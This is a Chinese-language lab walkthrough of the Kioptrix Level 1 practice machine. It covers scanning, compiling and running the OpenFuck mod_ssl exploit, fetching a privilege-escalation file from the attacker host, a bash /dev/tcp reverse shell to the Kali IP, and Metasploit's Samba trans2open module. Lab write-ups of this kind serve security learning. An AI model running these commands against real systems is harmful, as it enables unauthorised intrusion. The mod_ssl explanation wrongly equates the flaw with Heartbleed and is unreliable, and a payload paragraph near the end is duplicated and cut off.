Kioptrix_level1
战前准备
将此处桥接模式改为nat模式
扫描阶段
-
首先使用arp探查,快速扫描出存活主机
-
arp-scan -l
此处arp为发送请求探查存活主机,-l 的作用是扫描该ip所在统一网段下的所有主机
-
-
使用nmap全扫描该ip
-
nmap -sV -A -p- 192.168.107.139 #目标ip
此处nmap的参数解释
- -A 全面扫描:全面扫描不仅会显示端口号、服务类型、状态等信息,还会显示出服务的具体版本。
- -sV 服务和版本侦测:只了解到端口号和服务名是不足以确定可以利用什么漏洞,拥有准确的版本号有助于确定服务器易受攻击的漏洞
- -p-为全端口扫描
此处可以看出关键信息,例如
-
开放ssh端口
-
apache版本过低,可能存在mod_ssl漏洞利用
-
139端口中的samba漏洞利用
-
-
使用dirb扫描目录,可以找到几个可访问的页面
-
dirb http://192.168.107.139
dirb解释:dirb是一个基于字典的web目录扫描工具,会用递归的方式来获取更多的目录,它还支持代理和http认证限制访问的网站
网页中没有什么有效信息可以收集,但是有一个子目录中的文件变相提示注意mod_ssl漏洞
-
mod_ssl利用
mod_ssl是Apache HTTP Server的一个模块,它提供了对SSL/TLS协议的支持,用于加密和保护Web服务器与客户端之间的通信。mod_ssl的漏洞指的是该模块存在的安全漏洞,可能会被攻击者利用来进行恶意活动。
一种常见的mod_ssl漏洞是心脏出血漏洞(Heartbleed vulnerability),它是在OpenSSL库中发现的,但也影响到了使用mod_ssl模块的Apache服务器。该漏洞允许攻击者从服务器的内存中读取敏感信息,如私钥、会话密钥等,而无需进行任何身份验证。
攻击者可以通过发送特制的恶意请求来利用心脏出血漏洞。当服务器收到这样的请求时,由于一个错误的实现,它会返回多余的数据,包括服务器内存中的敏感信息。攻击者可以利用这些信息来进行进一步的攻击,如窃取用户的登录凭证、篡改数据等。
修复mod_ssl漏洞通常需要升级到修复了漏洞的版本,或者应用特定的补丁。此外,建议管理员还应该重新生成和部署服务器的SSL证书,以确保私钥的安全性。
总之,mod_ssl漏洞可能会导致服务器的敏感信息泄露和其他安全问题,因此及时修复和加强服务器的安全措施非常重要。
-
使用搜查命令找寻mod_ssl相关漏洞,也可以使用该漏洞库查找
https://www.exploit-db.com/search
searchsploit mod_ssl
-
使用命令将其下载下来
searchspolit -m 47080.c
直接上传
-
此处使用vim编辑器编辑它,查看使用方式
vim 47080.c
-
如图表明了运行环境需要,以及编译格式
- 环境安装使用命令
sudo apt-get install libssl-dev
- 编译执行命令
gcc -o OpenFuck 47080.c -lcrypto
#此处为什么使用 -lcrypto这个参数,除了是因为用法中的解释,个人猜想是因为其中涉及到md5加解密问题,如果不加这个参数,会报出MD5相关的问题
-
此处左下角为编译过后的二进制文件
-
使用命令查看该编译后二进制文件的使用方法
./OpenFuck
- 由此可得执行命令为
./OpenFuck 0x6b 192.168.107.139 443 -c 40
此处target的值参考使用方法中offset的对应值,如图
为什么使用这两个,因为该靶机由nmap扫描出的apache版本号为1.3.20,对应如图两种参数,经过尝试0x6b是可用的
- 执行过后便连接成功
-
此处使用
whoami
,id
,查看出来该用户仅仅是普通用户,内容中也没有什么可用的内容 -
至此,该方法不知所措,于是上网查询,得知
此处是应为由于编译文件的缺失,导致部分文件未执行成功
解决方法
vim 47080.c
查看到该脚本的下载路径
https://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c
该网址为下载路径
使用wget 在kali中下载
-
将文件下载过后,kali本机使用
python3 -m http.server 80
开启端口服务 -
进入靶机用户使用
wget 192.168.107.129/ptrace-kmod.c
从本机下载该完整的c脚本文件
(此处可以vim查看该文件使用方法注意点,其实没有要求)
-
重新使用二进制文件连接,即可获取root权限,因为执行时变相编译了完整版的c脚本,当然也可以在用户中执行编译再执行
- 至此该漏洞利用结束
- 补充
python -c 'import pty;pty.spawn("/bin/bash")'
使用python回显命令的话,会显示python版本1.5,由此猜测可能是因为python版本问题无法使用该命令
此问题解决方法
使用nc -lnvp 12138
开启该端口监听
随后在root用户中使用
此处反弹shell的命令格式为bash -i >& /dev/tcp/[ip]/[port] 0>&1
bash -i 打开bash
&后面跟 /dev/tcp/[ip]/[port] (相当于>&后面接文件)将bash的标准输出和标准错误输出传递到远程
bash解释:
Bash(Bourne Again SHell)是一种在Linux和其他类Unix系统上广泛使用的命令行解释器和脚本语言。它是许多Linux发行版默认的Shell,也是最常用的Shell之一。
Bash提供了一种与操作系统进行交互的方式,用户可以通过在终端输入命令并执行它们来与系统进行交互。Bash还支持脚本编程,用户可以编写一系列的命令和逻辑来自动化任务、处理数据和进行系统管理等。
以下是一些常见的Bash特性和用法:
命令行操作:Bash允许用户在终端中输入命令,并执行它们。用户可以使用各种命令和选项来完成不同的任务,例如文件操作、进程管理、网络操作等。
变量和环境变量:Bash支持变量的定义和使用。用户可以创建变量来存储数据,并在脚本中引用它们。此外,Bash还提供了一些预定义的环境变量,可以用于访问系统信息和配置。
条件和循环:Bash提供了条件语句(如if-else)和循环结构(如for和while),可以根据条件执行不同的命令或多次执行一组命令。
脚本编程:Bash脚本是一系列Bash命令和逻辑的集合,可以用于自动化任务、批处理操作和系统管理等。用户可以使用文本编辑器创建脚本文件,并使用Bash解释器执行它们。
输入和输出重定向:Bash允许用户将命令的输入和输出重定向到文件或其他命令。例如,可以将命令的输出保存到文件中,或将一个命令的输出作为另一个命令的输入。
管道:Bash支持管道操作,允许将一个命令的输出作为另一个命令的输入。通过管道,可以将多个命令连接起来,实现更复杂的数据处理和操作。
/dev/tcp/是Linux中的一个特殊设备,打开这个文件就相当于发出了一个socket调用,建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。同理,Linux中还存在/dev/udp/。
socket套接字解释:
socket 的意思是“插座”,在计算机通信领域,socket 被翻译为“套接字”,它是计算机之间进行通信的一种约定或一种方式。通过 socket 这种约定,一台计算机可以接收其他计算机的数据,也可以向其他计算机发送数据。
socket 的典型应用就是 Web 服务器和浏览器:浏览器获取用户输入的 URL,向服务器发起请求,服务器分析接收到的 URL,将对应的网页内容返回给浏览器,浏览器再经过解析和渲染,就将文字、图片、视频等元素呈现给用户。
0>&1将标准输入重定向至标准输出,由于标准输出定向至远程,标准输入也借此定向到远程。(由于标准错误输出也定向至远程,因此把 0>&1 改为 0>&2 也可以得到一个交互shell)
0 - stdin 标准输入
1 - stdout 标准输出
2 - stderr 标准错误输出
当>&后面接文件时,表示将标准输出和标准错误输出重定向至文件。
当>&后面接文件描述符时,表示将前面的文件描述符重定向至后面的文件描述符
bash -i >& /dev/tcp/192.168.107.129/12138 0>&1
#此处为kali ip
随后成功获得回显
samba漏洞利用
samba解释:
Samba 是在 Linux 和 UNIX 系统上实现 SMB 协议的一个免费软件,由服务器及客户端程序构成。
NFS 与 samba 一样,也是在网络中实现文件共享的一种实现,但不幸的是,其不支持 windows 平台,samba 是能够在任何支持 SMB 协议的主机之间共享文件的一种实现,当然也包括 windows。
SMB 是一种在局域网上共享文件和打印机的一种通信协议,它为局域网内的不同计算机之间提供文件及打印机等资源的共享服务。
SMB 协议是 C/S 型协议,客户机通过该协议可以访问服务器上的共享文件系统、打印机及其他资源。
samba监听端口:TCP 139/445 | UDP 137/138
-
由于apache版本过老,所以抱着试一试的态度看看samba是否也因为版本过老有漏洞
-
首先需要探查samba的版本
-
使用
msfconsole
进入metasploit框架下的msfconsole控制台终端接口 -
随后使用
search smb
,搜索一下相关的东西,此处需要使用探查版本的模块,如图所示
使用该版本探查的模块
-
此处使用方法为
use
加模块名,使用完成后,使用show options
查看如何配置此处可以看到rhosts目标地址需要设置
如图使用set配置
随后使用
exploit
执行 -
至此可以看出samba的版本号
-
重新使用msf,进入过后查询该samba版本的版本漏洞
search samba 2.2.x
此处描述中提到了 samba trans2open overflow的相关解释为
Samba trans2open Overflow 是一个安全漏洞,影响Samba服务器软件中的特定组件。该漏洞使得攻击者可以通过发送恶意构造的数据包来执行远程代码,从而远程控制受影响的服务器。
利用 trans2open 漏洞,攻击者可以绕过身份验证,并执行恶意代码,可能导致服务器被入侵、敏感信息泄露以及其他未经授权的活动。攻击者可以通过该漏洞获取受感染服务器上的权限,甚至进一步在整个网络中传播。
如图,只有linux x86可用,那便使用
rank值一般为excelle或者great成功率高
-
此处命令即为
use exploit/linux/samba/trans2open
-
配置成功后
-
使用
show options
查看配置并配置需要配置的参数,一般只有rhosts需要配置
-
随后使用
show payloads
查看攻击载荷模块
-
攻击载荷模块区别补充
reverse_tcp
reverse_tcp
攻击机设置一个端口(LPORT)和IP(LHOST),Payload在测试机执行连接攻击机IP的端口,这时如果在攻击机监听该端口会发现测试机已经连接。
bind_tcp
攻击机设置一个端口(LPORT),Payload在测试机执行打开该端口,以便攻击机可以接入。
基于TCP的正向连接shell,因为在内网跨网段时无法连接到attack的机器,所以在内网中经常会使用,不需要设置LHOST。
reverse_http
基于http方式的反向连接,在网速慢的情况下不稳定。
reverse_https
基于https方式的反向连接,在网速慢的情况下不稳定, https如果反弹没有收到数据,可以将监听端口换成443试试
Metasploit攻击载荷模块分为独立(Singles)、传输器(Stager)、传输体(Stage)三种类型
shell_bind_tcp 是一个独立攻击载荷
windows/shell_bind_tcp 是一个独立攻击载荷。windows/shell/bind_tcp 是一个由传输器载荷(bind_tcp)和一个传输体载荷(shell)所组成,其功能相当于“windows/shell_bind_tcp”
-
此处使用攻击载荷
set payload linux/x86/shell_bind_tcp
oit攻击载荷模块分为独立(Singles)、传输器(Stager)、传输体(Stage)三种类型*
shell_bind_tcp 是一个独立攻击载荷
windows/shell_bind_tcp 是一个独立攻击载荷。windows/shell/bind_tcp 是一个由传输器载荷(bind_tcp)和一个传输体载荷(shell)所组成,其功能相当于“windows/shell_bind_tcp”
-
此处使用攻击载荷
set payload linux/x86/shell_bind_tcp
-
随后执行,连接成功后便可获取root
补充说明:本人也在学习期间,如有不正确的地方请见谅
版权声明:本文章为了方便零基础同学通关靶机,掺杂了相关的知识补充,该知识补充内容为学习期间在网上收集的信息,如若有侵权行为,请联系本人进行处理。